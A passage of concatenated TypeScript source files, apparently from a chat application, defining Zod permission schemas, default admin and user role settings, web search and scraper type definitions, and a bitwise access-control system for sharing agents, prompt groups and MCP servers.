marketplacePermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(false),\n});\nexport type TMarketplacePermissions = z.infer<typeof marketplacePermissionsSchema>;\n\nexport const fileSearchPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TFileSearchPermissions = z.infer<typeof fileSearchPermissionsSchema>;\n\nexport const fileCitationsPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n});\nexport type TFileCitationsPermissions = z.infer<typeof fileCitationsPermissionsSchema>;\n\nexport const mcpServersPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TMcpServersPermissions = z.infer<typeof mcpServersPermissionsSchema>;\n\nexport const remoteAgentsPermissionsSchema = z.object({\n [Permissions.USE]: z.boolean().default(false),\n [Permissions.CREATE]: z.boolean().default(false),\n [Permissions.SHARE]: z.boolean().default(false),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(false),\n});\nexport type TRemoteAgentsPermissions = z.infer<typeof remoteAgentsPermissionsSchema>;\n\n// Define a single permissions schema that holds all permission types.\nexport const permissionsSchema = z.object({\n [PermissionTypes.PROMPTS]: promptPermissionsSchema,\n [PermissionTypes.BOOKMARKS]: bookmarkPermissionsSchema,\n [PermissionTypes.MEMORIES]: memoryPermissionsSchema,\n [PermissionTypes.AGENTS]: agentPermissionsSchema,\n [PermissionTypes.MULTI_CONVO]: multiConvoPermissionsSchema,\n [PermissionTypes.TEMPORARY_CHAT]: temporaryChatPermissionsSchema,\n [PermissionTypes.RUN_CODE]: runCodePermissionsSchema,\n [PermissionTypes.WEB_SEARCH]: webSearchPermissionsSchema,\n [PermissionTypes.PEOPLE_PICKER]: peoplePickerPermissionsSchema,\n [PermissionTypes.MARKETPLACE]: marketplacePermissionsSchema,\n [PermissionTypes.FILE_SEARCH]: fileSearchPermissionsSchema,\n [PermissionTypes.FILE_CITATIONS]: fileCitationsPermissionsSchema,\n [PermissionTypes.MCP_SERVERS]: mcpServersPermissionsSchema,\n [PermissionTypes.REMOTE_AGENTS]: remoteAgentsPermissionsSchema,\n});\n","import { z } from 'zod';\nimport {\n Permissions,\n PermissionTypes,\n permissionsSchema,\n agentPermissionsSchema,\n promptPermissionsSchema,\n memoryPermissionsSchema,\n runCodePermissionsSchema,\n bookmarkPermissionsSchema,\n webSearchPermissionsSchema,\n fileSearchPermissionsSchema,\n multiConvoPermissionsSchema,\n mcpServersPermissionsSchema,\n peoplePickerPermissionsSchema,\n remoteAgentsPermissionsSchema,\n temporaryChatPermissionsSchema,\n fileCitationsPermissionsSchema,\n} from './permissions';\n\n/**\n * Enum for System Defined Roles\n */\nexport enum SystemRoles {\n /**\n * The Admin role\n */\n ADMIN = 'ADMIN',\n /**\n * The default user role\n */\n USER = 'USER',\n}\n\nexport const roleSchema = z.object({\n name: z.string(),\n permissions: permissionsSchema,\n});\n\nexport type TRole = z.infer<typeof roleSchema>;\n\nconst defaultRolesSchema = z.object({\n [SystemRoles.ADMIN]: roleSchema.extend({\n name: z.literal(SystemRoles.ADMIN),\n permissions: permissionsSchema.extend({\n [PermissionTypes.PROMPTS]: promptPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n [PermissionTypes.BOOKMARKS]: bookmarkPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.MEMORIES]: memoryPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.UPDATE]: z.boolean().default(true),\n [Permissions.READ]: z.boolean().default(true),\n [Permissions.OPT_OUT]: z.boolean().default(true),\n }),\n [PermissionTypes.AGENTS]: agentPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n [PermissionTypes.MULTI_CONVO]: multiConvoPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.TEMPORARY_CHAT]: temporaryChatPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.RUN_CODE]: runCodePermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.WEB_SEARCH]: webSearchPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.PEOPLE_PICKER]: peoplePickerPermissionsSchema.extend({\n [Permissions.VIEW_USERS]: z.boolean().default(true),\n [Permissions.VIEW_GROUPS]: z.boolean().default(true),\n [Permissions.VIEW_ROLES]: z.boolean().default(true),\n }),\n [PermissionTypes.MARKETPLACE]: z.object({\n [Permissions.USE]: z.boolean().default(false),\n }),\n [PermissionTypes.FILE_SEARCH]: fileSearchPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.FILE_CITATIONS]: fileCitationsPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n }),\n [PermissionTypes.MCP_SERVERS]: mcpServersPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n [PermissionTypes.REMOTE_AGENTS]: remoteAgentsPermissionsSchema.extend({\n [Permissions.USE]: z.boolean().default(true),\n [Permissions.CREATE]: z.boolean().default(true),\n [Permissions.SHARE]: z.boolean().default(true),\n [Permissions.SHARE_PUBLIC]: z.boolean().default(true),\n }),\n }),\n }),\n [SystemRoles.USER]: roleSchema.extend({\n name: z.literal(SystemRoles.USER),\n permissions: permissionsSchema,\n }),\n});\n\nexport const roleDefaults = defaultRolesSchema.parse({\n [SystemRoles.ADMIN]: {\n name: SystemRoles.ADMIN,\n permissions: {\n [PermissionTypes.PROMPTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n [PermissionTypes.BOOKMARKS]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.MEMORIES]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.UPDATE]: true,\n [Permissions.READ]: true,\n [Permissions.OPT_OUT]: true,\n },\n [PermissionTypes.AGENTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n [PermissionTypes.MULTI_CONVO]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.TEMPORARY_CHAT]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.RUN_CODE]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.WEB_SEARCH]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.PEOPLE_PICKER]: {\n [Permissions.VIEW_USERS]: true,\n [Permissions.VIEW_GROUPS]: true,\n [Permissions.VIEW_ROLES]: true,\n },\n [PermissionTypes.MARKETPLACE]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.FILE_SEARCH]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.FILE_CITATIONS]: {\n [Permissions.USE]: true,\n },\n [PermissionTypes.MCP_SERVERS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n [PermissionTypes.REMOTE_AGENTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: true,\n [Permissions.SHARE_PUBLIC]: true,\n },\n },\n },\n [SystemRoles.USER]: {\n name: SystemRoles.USER,\n permissions: {\n [PermissionTypes.PROMPTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n [PermissionTypes.BOOKMARKS]: {},\n [PermissionTypes.MEMORIES]: {},\n [PermissionTypes.AGENTS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: true,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n [PermissionTypes.MULTI_CONVO]: {},\n [PermissionTypes.TEMPORARY_CHAT]: {},\n [PermissionTypes.RUN_CODE]: {},\n [PermissionTypes.WEB_SEARCH]: {},\n [PermissionTypes.PEOPLE_PICKER]: {\n [Permissions.VIEW_USERS]: false,\n [Permissions.VIEW_GROUPS]: false,\n [Permissions.VIEW_ROLES]: false,\n },\n [PermissionTypes.MARKETPLACE]: {\n [Permissions.USE]: false,\n },\n [PermissionTypes.FILE_SEARCH]: {},\n [PermissionTypes.FILE_CITATIONS]: {},\n [PermissionTypes.MCP_SERVERS]: {\n [Permissions.USE]: true,\n [Permissions.CREATE]: false,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n [PermissionTypes.REMOTE_AGENTS]: {\n [Permissions.USE]: false,\n [Permissions.CREATE]: false,\n [Permissions.SHARE]: false,\n [Permissions.SHARE_PUBLIC]: false,\n },\n },\n },\n});\n","import type { Logger as WinstonLogger } from 'winston';\n\nexport type SearchRefType = 'search' | 'image' | 'news' | 'video' | 'ref';\n\nexport enum DATE_RANGE {\n PAST_HOUR = 'h',\n PAST_24_HOURS = 'd',\n PAST_WEEK = 'w',\n PAST_MONTH = 'm',\n PAST_YEAR = 'y',\n}\n\nexport type SearchProvider = 'serper' | 'searxng';\nexport type RerankerType = 'infinity' | 'jina' | 'cohere' | 'none';\n\nexport interface Highlight {\n score: number;\n text: string;\n references?: UsedReferences;\n}\n\nexport type ProcessedSource = {\n content?: string;\n attribution?: string;\n references?: References;\n highlights?: Highlight[];\n processed?: boolean;\n};\n\nexport type ProcessedOrganic = OrganicResult & ProcessedSource;\nexport type ProcessedTopStory = TopStoryResult & ProcessedSource;\nexport type ValidSource = ProcessedOrganic | ProcessedTopStory;\n\nexport type ResultReference = {\n link: string;\n type: 'link' | 'image' | 'video' | 'file';\n title?: string;\n attribution?: string;\n};\nexport interface SearchResultData {\n turn?: number;\n organic?: ProcessedOrganic[];\n topStories?: ProcessedTopStory[];\n images?: ImageResult[];\n videos?: VideoResult[];\n places?: PlaceResult[];\n news?: NewsResult[];\n shopping?: ShoppingResult[];\n knowledgeGraph?: KnowledgeGraphResult;\n answerBox?: AnswerBoxResult;\n peopleAlsoAsk?: PeopleAlsoAskResult[];\n relatedSearches?: Array<{ query: string }>;\n references?: ResultReference[];\n error?: string;\n}\n\nexport interface SearchResult {\n data?: SearchResultData;\n error?: string;\n success: boolean;\n}\n\nexport interface Source {\n link: string;\n html?: string;\n title?: string;\n snippet?: string;\n date?: string;\n}\n\nexport interface SearchConfig {\n searchProvider?: SearchProvider;\n serperApiKey?: string;\n searxngInstanceUrl?: string;\n searxngApiKey?: string;\n}\n\nexport type References = {\n links: MediaReference[];\n images: MediaReference[];\n videos: MediaReference[];\n};\nexport interface ScrapeResult {\n url: string;\n error?: boolean;\n content: string;\n attribution?: string;\n references?: References;\n highlights?: Highlight[];\n}\n\nexport interface ProcessSourcesConfig {\n topResults?: number;\n strategies?: string[];\n filterContent?: boolean;\n reranker?: unknown;\n logger?: Logger;\n}\n\nexport interface FirecrawlConfig {\n firecrawlApiKey?: string;\n firecrawlApiUrl?: string;\n firecrawlOptions?: {\n formats?: string[];\n includeTags?: string[];\n excludeTags?: string[];\n headers?: Record<string, string>;\n waitFor?: number;\n timeout?: number;\n maxAge?: number;\n mobile?: boolean;\n skipTlsVerification?: boolean;\n blockAds?: boolean;\n removeBase64Images?: boolean;\n parsePDF?: boolean;\n storeInCache?: boolean;\n zeroDataRetention?: boolean;\n location?: {\n country?: string;\n languages?: string[];\n };\n onlyMainContent?: boolean;\n changeTrackingOptions?: {\n modes?: string[];\n schema?: Record<string, unknown>;\n prompt?: string;\n tag?: string | null;\n };\n };\n}\n\nexport interface ScraperContentResult {\n content: string;\n}\n\nexport interface ScraperExtractionResult {\n no_extraction: ScraperContentResult;\n}\n\nexport interface JinaRerankerResult {\n index: number;\n relevance_score: number;\n document?: string | { text: string };\n}\n\nexport interface JinaRerankerResponse {\n model: string;\n usage: {\n total_tokens: number;\n };\n results: JinaRerankerResult[];\n}\n\nexport interface CohereRerankerResult {\n index: number;\n relevance_score: number;\n}\n\nexport interface CohereRerankerResponse {\n results: CohereRerankerResult[];\n id: string;\n meta: {\n api_version: {\n version: string;\n is_experimental: boolean;\n };\n billed_units: {\n search_units: number;\n };\n };\n}\n\nexport type SafeSearchLevel = 0 | 1 | 2;\n\nexport type Logger = WinstonLogger;\nexport interface MediaReference {\n originalUrl: string;\n title?: string;\n text?: string;\n}\n\nexport type UsedReferences = {\n type: 'link' | 'image' | 'video';\n originalIndex: number;\n reference: MediaReference;\n}[];\n\n/** Firecrawl */\n\nexport interface FirecrawlScrapeOptions {\n formats?: string[];\n includeTags?: string[];\n excludeTags?: string[];\n headers?: Record<string, string>;\n waitFor?: number;\n timeout?: number;\n}\n\nexport interface ScrapeMetadata {\n // Core source information\n sourceURL?: string;\n url?: string;\n scrapeId?: string;\n statusCode?: number;\n // Basic metadata\n title?: string;\n description?: string;\n language?: string;\n favicon?: string;\n viewport?: string;\n robots?: string;\n 'theme-color'?: string;\n // Open Graph metadata\n 'og:url'?: string;\n 'og:title'?: string;\n 'og:description'?: string;\n 'og:type'?: string;\n 'og:image'?: string;\n 'og:image:width'?: string;\n 'og:image:height'?: string;\n 'og:site_name'?: string;\n ogUrl?: string;\n ogTitle?: string;\n ogDescription?: string;\n ogImage?: string;\n ogSiteName?: string;\n // Article metadata\n 'article:author'?: string;\n 'article:published_time'?: string;\n 'article:modified_time'?: string;\n 'article:section'?: string;\n 'article:tag'?: string;\n 'article:publisher'?: string;\n publishedTime?: string;\n modifiedTime?: string;\n // Twitter metadata\n 'twitter:site'?: string | boolean | number | null;\n 'twitter:creator'?: string;\n 'twitter:card'?: string;\n 'twitter:image'?: string;\n 'twitter:dnt'?: string;\n 'twitter:app:name:iphone'?: string;\n 'twitter:app:id:iphone'?: string;\n 'twitter:app:url:iphone'?: string;\n 'twitter:app:name:ipad'?: string;\n 'twitter:app:id:ipad'?: string;\n 'twitter:app:url:ipad'?: string;\n 'twitter:app:name:googleplay'?: string;\n 'twitter:app:id:googleplay'?: string;\n 'twitter:app:url:googleplay'?: string;\n // Facebook metadata\n 'fb:app_id'?: string;\n // App links\n 'al:ios:url'?: string;\n 'al:ios:app_name'?: string;\n 'al:ios:app_store_id'?: string;\n // Allow for additional properties that might be present\n [key: string]: string | number | boolean | null | undefined;\n}\n\nexport interface FirecrawlScrapeResponse {\n success: boolean;\n data?: {\n markdown?: string;\n html?: string;\n rawHtml?: string;\n screenshot?: string;\n links?: string[];\n metadata?: ScrapeMetadata;\n };\n error?: string;\n}\n\nexport interface FirecrawlScraperConfig {\n apiKey?: string;\n apiUrl?: string;\n formats?: string[];\n timeout?: number;\n logger?: Logger;\n}\n\n/** Serper API */\nexport interface VideoResult {\n title?: string;\n link?: string;\n snippet?: string;\n imageUrl?: string;\n duration?: string;\n source?: string;\n channel?: string;\n date?: string;\n position?: number;\n}\n\nexport interface PlaceResult {\n position?: number;\n name?: string;\n address?: string;\n latitude?: number;\n longitude?: number;\n rating?: number;\n ratingCount?: number;\n category?: string;\n identifier?: string;\n}\n\nexport interface NewsResult {\n title?: string;\n link?: string;\n snippet?: string;\n date?: string;\n source?: string;\n imageUrl?: string;\n position?: number;\n}\n\nexport interface ShoppingResult {\n title?: string;\n source?: string;\n link?: string;\n price?: string;\n delivery?: string;\n imageUrl?: string;\n rating?: number;\n ratingCount?: number;\n offers?: string;\n productId?: string;\n position?: number;\n}\n\nexport interface ScholarResult {\n title?: string;\n link?: string;\n publicationInfo?: string;\n snippet?: string;\n year?: number;\n citedBy?: number;\n}\n\nexport interface ImageResult {\n title?: string;\n imageUrl?: string;\n imageWidth?: number;\n imageHeight?: number;\n thumbnailUrl?: string;\n thumbnailWidth?: number;\n thumbnailHeight?: number;\n source?: string;\n domain?: string;\n link?: string;\n googleUrl?: string;\n position?: number;\n}\n\nexport interface SerperSearchPayload extends SerperSearchInput {\n /**\n * Search type/vertical\n * Options: \"search\" (web), \"images\", \"news\", \"places\", \"videos\"\n */\n type?: 'search' | 'images' | 'news' | 'places' | 'videos';\n\n /**\n * Starting index for search results pagination (used instead of page)\n */\n start?: number;\n\n /**\n * Filtering for safe search\n * Options: \"off\", \"moderate\", \"active\"\n */\n safe?: 'off' | 'moderate' | 'active';\n}\n\nexport type SerperSearchParameters = Pick<SerperSearchPayload, 'q' | 'type'> & {\n engine: 'google';\n};\n\nexport interface OrganicResult {\n position?: number;\n title?: string;\n link: string;\n snippet?: string;\n date?: string;\n sitelinks?: Array<{\n title: string;\n link: string;\n }>;\n}\n\nexport interface TopStoryResult {\n title?: string;\n link: string;\n source?: string;\n date?: string;\n imageUrl?: string;\n}\nexport interface KnowledgeGraphResult {\n title?: string;\n type?: string;\n imageUrl?: string;\n description?: string;\n descriptionSource?: string;\n descriptionLink?: string;\n attributes?: Record<string, string>;\n website?: string;\n}\n\nexport interface AnswerBoxResult {\n title?: string;\n snippet?: string;\n snippetHighlighted?: string[];\n link?: string;\n date?: string;\n}\n\nexport interface PeopleAlsoAskResult {\n question?: string;\n snippet?: string;\n title?: string;\n link?: string;\n}\n\nexport type RelatedSearches = Array<{ query: string }>;\n\nexport interface SerperSearchInput {\n /**\n * The search query string\n */\n q: string;\n\n /**\n * Country code for localized results\n * Examples: \"us\", \"uk\", \"ca\", \"de\", etc.\n */\n gl?: string;\n\n /**\n * Interface language\n * Examples: \"en\", \"fr\", \"de\", etc.\n */\n hl?: string;\n\n /**\n * Number of results to return (up to 100)\n */\n num?: number;\n /**\n * Specific location for contextual results\n * Example: \"New York, NY\"\n */\n location?: string;\n\n /**\n * Search autocorrection setting\n */\n autocorrect?: boolean;\n page?: number;\n /**\n * Date range for search results\n * Options: \"h\" (past hour), \"d\" (past 24 hours), \"w\" (past week),\n * \"m\" (past month), \"y\" (past year)\n * `qdr:${DATE_RANGE}`\n */\n tbs?: string;\n}\n\nexport type SerperResultData = {\n searchParameters: SerperSearchPayload;\n organic?: OrganicResult[];\n topStories?: TopStoryResult[];\n images?: ImageResult[];\n videos?: VideoResult[];\n places?: PlaceResult[];\n news?: NewsResult[];\n shopping?: ShoppingResult[];\n peopleAlsoAsk?: PeopleAlsoAskResult[];\n relatedSearches?: RelatedSearches;\n knowledgeGraph?: KnowledgeGraphResult;\n answerBox?: AnswerBoxResult;\n credits?: number;\n};\n\n/** SearXNG */\n\nexport interface SearxNGSearchPayload {\n /**\n * The search query string\n * Supports syntax specific to different search engines\n * Example: \"site:github.com SearXNG\"\n */\n q: string;\n\n /**\n * Comma-separated list of search categories\n * Example: \"general,images,news\"\n */\n categories?: string;\n\n /**\n * Comma-separated list of search engines to use\n * Example: \"google,bing,duckduckgo\"\n */\n engines?: string;\n\n /**\n * Code of the language for search results\n * Example: \"en\", \"fr\", \"de\", \"es\"\n */\n language?: string;\n\n /**\n * Search page number\n * Default: 1\n */\n pageno?: number;\n\n /**\n * Time range filter for search results\n * Options: \"day\", \"month\", \"year\"\n */\n time_range?: 'day' | 'month' | 'year';\n\n /**\n * Output format of results\n * Options: \"json\", \"csv\", \"rss\"\n */\n format?: 'json' | 'csv' | 'rss';\n\n /**\n * Open search results on new tab\n * Options: `0` (off), `1` (on)\n */\n results_on_new_tab?: 0 | 1;\n\n /**\n * Proxy image results through SearxNG\n * Options: true, false\n */\n image_proxy?: boolean;\n\n /**\n * Service for autocomplete suggestions\n * Options: \"google\", \"dbpedia\", \"duckduckgo\", \"mwmbl\",\n * \"startpage\", \"wikipedia\", \"stract\", \"swisscows\", \"qwant\"\n */\n autocomplete?: string;\n\n /**\n * Safe search filtering level\n * Options: \"0\" (off), \"1\" (moderate), \"2\" (strict)\n */\n safesearch?: 0 | 1 | 2;\n\n /**\n * Theme to use for results page\n * Default: \"simple\" (other themes may be available per instance)\n */\n theme?: string;\n\n /**\n * List of enabled plugins\n * Default: \"Hash_plugin,Self_Information,Tracker_URL_remover,Ahmia_blacklist\"\n */\n enabled_plugins?: string;\n\n /**\n * List of disabled plugins\n */\n disabled_plugins?: string;\n\n /**\n * List of enabled engines\n */\n enabled_engines?: string;\n\n /**\n * List of disabled engines\n */\n disabled_engines?: string;\n}\n\nexport interface SearXNGResult {\n title?: string;\n url?: string;\n content?: string;\n publishedDate?: string;\n img_src?: string;\n}\n","import { z } from 'zod';\n\n/**\n * Granular Permission System Types for Agent Sharing\n *\n * This file contains TypeScript interfaces and Zod schemas for the enhanced\n * agent permission system that supports sharing with specific users/groups\n * and Entra ID integration.\n */\n\n// ===== ENUMS & CONSTANTS =====\n\n/**\n * Principal types for permission system\n */\nexport enum PrincipalType {\n USER = 'user',\n GROUP = 'group',\n PUBLIC = 'public',\n ROLE = 'role',\n}\n\n/**\n * Principal model types for MongoDB references\n */\nexport enum PrincipalModel {\n USER = 'User',\n GROUP = 'Group',\n ROLE = 'Role',\n}\n\n/**\n * Source of the principal (local LibreChat or external Entra ID)\n */\nexport type TPrincipalSource = 'local' | 'entra';\n\n/**\n * Access levels for agents\n */\nexport type TAccessLevel = 'none' | 'viewer' | 'editor' | 'owner';\n\n/**\n * Resource types for permission system\n */\nexport enum ResourceType {\n AGENT = 'agent',\n PROMPTGROUP = 'promptGroup',\n MCPSERVER = 'mcpServer',\n REMOTE_AGENT = 'remoteAgent',\n}\n\n/**\n * Permission bit constants for bitwise operations\n */\nexport enum PermissionBits {\n /** 001 - Can view and use agent */\n VIEW = 1,\n /** 010 - Can modify agent settings */\n EDIT = 2,\n /** 100 - Can delete agent */\n DELETE = 4,\n /** 1000 - Can share agent with others (future) */\n SHARE = 8,\n}\n\n/**\n * Standard access role IDs\n */\nexport enum AccessRoleIds {\n AGENT_VIEWER = 'agent_viewer',\n AGENT_EDITOR = 'agent_editor',\n AGENT_OWNER = 'agent_owner',\n PROMPTGROUP_VIEWER = 'promptGroup_viewer',\n PROMPTGROUP_EDITOR = 'promptGroup_editor',\n PROMPTGROUP_OWNER = 'promptGroup_owner',\n MCPSERVER_VIEWER = 'mcpServer_viewer',\n MCPSERVER_EDITOR = 'mcpServer_editor',\n MCPSERVER_OWNER = 'mcpServer_owner',\n REMOTE_AGENT_VIEWER = 'remoteAgent_viewer',\n REMOTE_AGENT_EDITOR = 'remoteAgent_editor',\n REMOTE_AGENT_OWNER = 'remoteAgent_owner',\n}\n\n// ===== ZOD SCHEMAS =====\n\n/**\n * Principal schema - represents a user, group, role, or public access\n */\nexport const principalSchema = z.object({\n type: z.nativeEnum(PrincipalType),\n id: z.string().optional(), // undefined for 'public' type, role name for 'role' type\n name: z.string().optional(),\n email: z.string().optional(), // for user and group types\n source: z.enum(['local', 'entra']).optional(),\n avatar: z.string().optional(), // for user and group types\n description: z.string().optional(), // for group and role types\n idOnTheSource: z.string().optional(), // Entra ID for users/groups\n accessRoleId: z.nativeEnum(AccessRoleIds).optional(), // Access role ID for permissions\n memberCount: z.number().optional(), // for group type\n});\n\n/**\n * Access role schema - defines named permission sets\n */\nexport const accessRoleSchema = z.object({\n accessRoleId: z.nativeEnum(AccessRoleIds),\n name: z.string(),\n description: z.string().optional(),\n resourceType: z.nativeEnum(ResourceType).default(ResourceType.AGENT),\n permBits: z.number(),\n});\n\n/**\n * Permission entry schema - represents a single ACL entry\n */\nexport const permissionEntrySchema = z.object({\n id: z.string(),\n principalType: z.nativeEnum(PrincipalType),\n principalId: z.string().optional(), // undefined for 'public'\n principalName: z.string().optional(),\n role: accessRoleSchema,\n grantedBy: z.string(),\n grantedAt: z.string(), // ISO date string\n inheritedFrom: z.string().optional(), // for project-level inheritance\n source: z.enum(['local', 'entra']).optional(),\n});\n\n/**\n * Resource permissions response schema\n */\nexport const resourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.string(),\n permissions: z.array(permissionEntrySchema),\n});\n\n/**\n * Update resource permissions request schema\n * This matches the user's requirement for the frontend DTO structure\n */\nexport const updateResourcePermissionsRequestSchema = z.object({\n updated: principalSchema.array(),\n removed: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n});\n\n/**\n * Update resource permissions response schema\n * Returns the updated permissions with accessRoleId included\n */\nexport const updateResourcePermissionsResponseSchema = z.object({\n message: z.string(),\n results: z.object({\n principals: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n }),\n});\n\n// ===== TYPESCRIPT TYPES =====\n\n/**\n * Principal - represents a user, group, or public access\n */\nexport type TPrincipal = z.infer<typeof principalSchema>;\n\n/**\n * Access role - defines named permission sets\n */\nexport type TAccessRole = z.infer<typeof accessRoleSchema>;\n\n/**\n * Permission entry - represents a single ACL entry\n */\nexport type TPermissionEntry = z.infer<typeof permissionEntrySchema>;\n\n/**\n * Resource permissions response\n */\nexport type TResourcePermissionsResponse = z.infer<typeof resourcePermissionsResponseSchema>;\n\n/**\n * Update resource permissions request\n * This matches the user's requirement for the frontend DTO structure\n */\nexport type TUpdateResourcePermissionsRequest = z.infer<\n typeof updateResourcePermissionsRequestSchema\n>;\n\n/**\n * Update resource permissions response\n * Returns the updated permissions with accessRoleId included\n */\nexport type TUpdateResourcePermissionsResponse = z.infer<\n typeof updateResourcePermissionsResponseSchema\n>;\n\n/**\n * Principal search request parameters\n */\nexport type TPrincipalSearchParams = {\n q: string;\n limit?: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE>;\n};\n\n/**\n * Principal search result item\n */\nexport type TPrincipalSearchResult = {\n id?: string | null; // null for Entra ID principals that don't exist locally yet\n type: PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE;\n name: string;\n email?: string; // for users and groups\n username?: string; // for users\n avatar?: string; // for users and groups\n provider?: string; // for users\n source: 'local' | 'entra';\n memberCount?: number; // for groups\n description?: string; // for groups\n idOnTheSource?: string; // Entra ID for users (maps to openidId) and groups (maps to idOnTheSource)\n};\n\n/**\n * Principal search response\n */\nexport type TPrincipalSearchResponse = {\n query: string;\n limit: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE> | null;\n results: TPrincipalSearchResult[];\n count: number;\n sources: {\n local: number;\n entra: number;\n };\n};\n\n/**\n * Available roles response\n */\nexport type TAvailableRolesResponse = {\n resourceType: ResourceType;\n roles: TAccessRole[];\n};\n\n/**\n * Get resource permissions response schema\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport const getResourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.nativeEnum(AccessRoleIds),\n principals: z.array(principalSchema),\n public: z.boolean(),\n publicAccessRoleId: z.nativeEnum(AccessRoleIds).optional(),\n});\n\n/**\n * Get resource permissions response type\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport type TGetResourcePermissionsResponse = z.infer<typeof getResourcePermissionsResponseSchema>;\n\n/**\n * Effective permissions response schema\n * Returns just the permission bitmask for a user on a resource\n */\nexport const effectivePermissionsResponseSchema = z.object({\n permissionBits: z.number(),\n});\n\n/**\n * Effective permissions response type\n * Returns just the permission bitmask for a user on a resource\n */\nexport type TEffectivePermissionsResponse = z.infer<typeof effectivePermissionsResponseSchema>;\n\n/**\n * All effective permissions response type\n * Map of resourceId to permissionBits for all accessible resources\n */\nexport type TAllEffectivePermissionsResponse = Record<string, number>;\n\n// ===== UTILITY TYPES =====\n\n/**\n * Permission check result\n */\nexport interface TPermissionCheck {\n canView: boolean;\n canEdit: boolean;\n canDelete: boolean;\n canShare: boolean;\n accessLevel: TAccessLevel;\n}\n\n// ===== HELPER FUNCTIONS =====\n\n/**\n * Convert permission bits to access level\n */\nexport function permBitsToAccessLevel(permBits: number): TAccessLevel {\n if ((permBits & PermissionBits.DELETE) > 0) return 'owner';\n if ((permBits & PermissionBits.EDIT) > 0) return 'editor';\n if ((permBits & PermissionBits.VIEW) > 0) return 'viewer';\n return 'none';\n}\n\n/**\n * Convert access role ID to permission bits\n */\nexport function accessRoleToPermBits(accessRoleId: string): number {\n switch (accessRoleId) {\n case AccessRoleIds.AGENT_VIEWER:\n case AccessRoleIds.PROMPTGROUP_VIEWER:\n case AccessRoleIds.MCPSERVER_VIEWER:\n case AccessRoleIds.REMOTE_AGENT_VIEWER:\n return PermissionBits.VIEW;\n case AccessRoleIds.AGENT_EDITOR:\n case AccessRoleIds.PROMPTGROUP_EDITOR:\n case AccessRoleIds.MCPSERVER_EDITOR:\n case AccessRoleIds.REMOTE_AGENT_EDITOR:\n return PermissionBits.VIEW | PermissionBits.EDIT;\n case AccessRoleIds.AGENT_OWNER:\n case AccessRoleIds.PROMPTGROUP_OWNER:\n case AccessRoleIds.MCPSERVER_OWNER:\n case AccessRoleIds.REMOTE_AGENT_OWNER:\n return (\n PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE\n );\n default:\n return PermissionBits.VIEW;\n }\n}\n\n/**\n * Check if permission bitmask contains other bitmask\n * @param permissions - The permission bitmask to check\n * @param requiredPermission - The required permission bit(s)\n * @returns {boolean} Whether permissions contains requiredPermission\n */\nexport function hasPermissions(permissions: number, requiredPermission: number): boolean {\n return (permissions & 